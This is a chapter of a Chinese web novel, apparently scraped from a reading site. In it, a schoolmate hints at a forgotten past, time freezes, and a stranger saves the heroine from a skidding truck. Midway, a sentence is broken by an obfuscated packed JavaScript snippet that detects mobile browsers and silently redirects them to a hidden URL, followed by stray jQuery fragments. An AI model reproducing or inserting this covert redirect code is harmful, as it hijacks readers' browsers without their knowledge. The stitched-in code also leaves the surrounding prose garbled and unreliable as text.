17. 017
作品:《跟你们天龙人说不清楚!》 夏茉莉离开之前,还是不放心身后的两人。
她瞄了眼颊边酡红、眼神飘忽的钟意,和林寄月咬耳朵:“钟意同学没事吗?”
“应该没事,他家司机快到了。”
虽然钟意的状态已经比在店里好太多了,但是林寄月还是觉得他吃辣形同喝醉这种莫名其妙的设定有些扯淡。上次下雨天借钟意撑伞他打喷嚏,这次请他吃饭他吃晕了,要不然是林寄月与钟意八字不合,要不然就是他故意找事碰瓷来了。
察觉到如芒刺背的眼神,钟意隐忍地瞧她一眼,语气脆弱得像夏日里一秒融化的雪:“你要回去了吗?”
他扭过脸,快消去的红印正好落在林寄月视线范围内,像是阳光曝晒后残留的几道淡红色的斑,似乎在默默痛诉她下手太重。
“我当然等你家司机来啊。”
她语气顿时软下去,祈祷红印再消快点。
夏茉莉上了公交车,两人坐在乘凉的椅子上消磨时间。
现在的人没有开始来时的那么多,钟意在四下无人之际开口:“之前被他欺负的事怎么不告诉我?”
林寄月低头回消息,闻声抬头:“欺负?晏星酌吗?”
她欺负晏星酌还差不多,但是林寄月要维护自己破碎的跟班人设,摆摆手:“没有没有,我只是出于崇拜晏少的风范跟随他的,这是你情我愿的事……”
“你崇拜他什么?”
林寄月被难住了,她语塞几秒,挤了一句:“崇拜他花钱如流水的魄力?”
“……”
“崇拜他目中无人的王霸之气?”
自己听了都说不过去,林寄月越描越黑,索性闭嘴:“总之非他不可。”
钟意猝然抬头,大约是非他不可的杀伤力太大,他静默了片刻,轻声道:“这些我也可以有。”
林寄月终于觉得不对劲,她回忆起与钟意之间相伴的点点滴滴,他的一切表现、行动都汇聚成一个答案——
他想挖墙角!
有人赏识她能力,她自然是心情不错的,但是最近她对晏星酌的一系列大红包的表现还算满意,而且系统把他俩绑定在一起,暂时不想换老板。
一想到要是真跳槽,晏星酌这个小肚鸡肠的前老板指不定又要折腾她,林寄月想起来前几天保健室里他股黏糊劲,打了个寒颤:“不好意思,目前我还是喜欢这样的生活。”
钟意心中一片失望,他并不是通过与他人比较来确定自身价值的人,但是当她一次又一次地选择别人而不是自己的时候,他被迫停下来追逐她的身影时,雨中的倒影里是自己迷茫的面容。
“晏星酌到底哪里好,明明你跟我……”他喃喃自语。
“明明什么?”
钟意下意识对上她好奇的眸子,只是一瞬,一切茅塞顿开。
原来她不记得了。
只是一个推测,他却立刻盖棺定论,接着顺理成章地想。如果她重新想起,或许一切都会不一样。
被人忘记的酸涩以及重新燃起的希望构成了一种奇异的欣喜。只是这种欣喜很快又被压下,这意味着他与晏星酌站在天平的两端,没有加上砝码的时候就已经被轻飘飘地扬到了天上。
在说完那句模棱两可的话后,他不开口了。
引导优于点破,主动挑破秘密对于保守秘密的人是大忌。在失落与烦躁之间他看向林寄月,她仍然无知无觉,正如小时候坐在小马扎上听到他胡言乱语,睁大亮晶晶的眼睛那样,他对着这双眼睛,质问的话咽下肚子,狼狈留了一句“算了”。
“不要话说到一半就不说了好吗。”
“我再说别的不也是自讨没趣吗?”他悠悠道,“反正怎么都不如晏星酌好。”
林寄月莫名其妙:“这还分好坏?你是你,他是他。”
这句话宛如一淌冰水抚平了他心中的燥意,他的眼神看起来很奇怪,失去了夹枪带棒的不乐,转变为一种风雨欲来的幽深。
钟意忽然俯身过来,阳光越过他的肩头,为他的轮廓镀上一层柔软的光,距离很近,他的指尖触及到了她的,钟意暗想,如果指尖相触能像蜗牛触角相碰一样传递心意就好了。
“真的吗?”他认真地问道。
“当然是真的。”林寄月近得能看到他翕动的睫毛,身体下意识后倾,挤出一个不自在的笑容,“你怎么突然凑这么近?”
“眼睛不会撒谎,如果突然凑近直视对方,说谎者会避免眼神接触,因为他们感到内疚或害怕时会移开视线。”
有种对着这位测谎专家弹脑门的冲动,林寄月搞不懂他的脑回路,这有什么好撒谎的。
倒是他,三番五次讲谜语话搞得她很不爽。
“那心理学家有没有告诉你,人在想撒谎的时候也会故意增加对视的频率?”
林寄月从椅子下来,双手抱臂:“看你脸上印也消得差不多了,我就先回去了。”
她向人行横道走去,往外走了两步回头替自己辩解两句:“还有这巴掌我不是故意的,我只是想轻轻拍你一下,没想到力道大了。当然这个也跟你道歉了,我们现在不欠什么了。”
没想到语言居然有这么大的力量,钟意心情一会雨一会晴,抬腿跟随罪魁祸首走去。
这时她鞋底一个散发微弱红光的东西吸引了他的注意力。
那是什么东西?
他觉得眼熟,于是眯着眼,仔细搜集脑海中这个红点的记忆。
钟意停在路口前琢磨这个突然出现的玩意,两个人渐渐拉开距离,他喊了林寄月一声,对方没有回头。
林寄月不管身后窸窸窣窣的声音,她注意到人行横道对面的绿灯仅剩十秒,秉承真女人从不回头看爆炸的信念,快步向前。
但当她踩上斑马线的刹那间,一切声音都消失了。
原本嘈杂的车声、人群的嬉笑声、广告里的音乐声全部化为乌有。
马路尽头的两个女生还保留着迈出前脚的姿态,连裙摆飞舞的弧度也丝毫不变,绿灯的倒计时暂停在十五秒。
怎么回事?
林寄月警觉地扭头,却发现自己的脖子动不了,不仅仅是脖子,连眼珠子都转动不了。
世界诡异地静止了。
头一回撞见这样的情况,她第一反应觉得好笑,刚刚还念叨她克钟意,现在老天爷二话不说印证了钟意也克她,看来以后还是得离小说里的男人远点。但是在大概快一分钟的时间她仍然保持动不了的姿态后,林寄月笑不出来了。
这股无形力量束缚了万物,却束缚不了她的意识与知觉,所以恐慌时后背蚂蚁侵蚀般火辣的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200474|164016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痒意,以及额头划下的汗珠对她来说都是一种慢性折磨,时间在此时走得十分漫长,甚至能体会到度秒如年的错觉。
又一个一分钟过去了。
林寄月还是动不了,正当她在心里大骂系统的时候,发现自己的手指尖可以抬动了,再用力,眼球也可以往左右转动,她这才松了口气。
眼珠子往左边移了几寸,突兀的光刺得眼球发酸,眼泪浸满眼眶,几欲落泪。
将光的源头纳入眼下,她的瞳仁骤缩。
心脏剧烈的跳动,血脉经络充血,仿佛马上要在体内炸开一般。
在视线的尽头,不知什么时候多了一辆货车,离她的距离很近,轮胎似乎打滑了,横冲直撞往人行道冲去,只是被定格在即将撞过去的瞬间。
林寄月过马路前有四处张望的习惯,她分明记得自己根本没有看到这辆车!
况且这车的走向……明显是冲她来的!
不会吧,难道今天真的要折在这里吗?如果时间暂停结束,按这个距离她必死无疑,血溅三尺,无痛上天都是好的。如果看轻小说里面被车撞了能去异世界,会不会她被撞了能返回现实世界?在无法行动的时间里,她从没这么静距离的、细致的看着这辆陌生卡车的车头。
时间容不得林寄月继续胡思乱想,因为她绝望地发现随着被控制的四肢一点点解冻的同时,路边的人和物也以镜头中慢动作的速度动了起来。
该死!快逃啊!!
她的大脑咆哮,向四肢发号施令,却只能以毫米般微弱的幅度往目的地移动。
林寄月再使劲,惊喜地发现腿往前迈了一步!
与此同时,万物的生命排山倒海般重新涌回它们自身身体中,世界重新恢复喧嚣,轮胎与地面摩擦发出刺耳的声音惊起了路人的尖叫。
她的目光下意识地往旁边停驻了一眼。
也正是这一眼,令她再次动弹不得。
少女站在巨大的货车前,她的头发被冲力掀起,脑后的蝴蝶结振翅欲飞。死亡似乎是这一场游戏的唯一结局。
生命的最后倒计时前,她听到了钟意竭力到甚至变形的声音,也听到内心有一股声音不断地焦虑地问她,万一死了也回不去了怎么办?
林寄月,你真的要在这里结束吗?
当然不想,她不甘心!
努力活了这么久,为什么会在这个平平无奇的上午,在周淑兰笑着跟她说一路顺风的这一天,在与夏茉莉成为好朋友的这一天……
眼泪夺眶而出,林寄月的身体不受控制地站在原地,她闭上眼被迫迎接自己的命运。
巨大的冲力袭来,她被一股力量甩到马路一侧。
只是预料之中的痛觉没有袭来,身后是温热硬朗的胸膛,那人四肢牢牢地将她困在一起,如茧般紧紧捆住了中间的幼虫。
大脑一片空白,林寄月发觉自己一直在抖,大概因为被身后的那人抱得太紧了,她以为是自己过激的心跳声。她茫然地环顾四周,歪到一边停下来的货车,另一端跑来的钟意,越来越多围上来的热心群众。
五感恢复,香根草的气味包裹住她的身体,她听到自己的声音断断续续地问那人他是谁,换来的却是更加用力、几乎要融入骨血的拥抱。
接着一滴泪滑进了她的领口。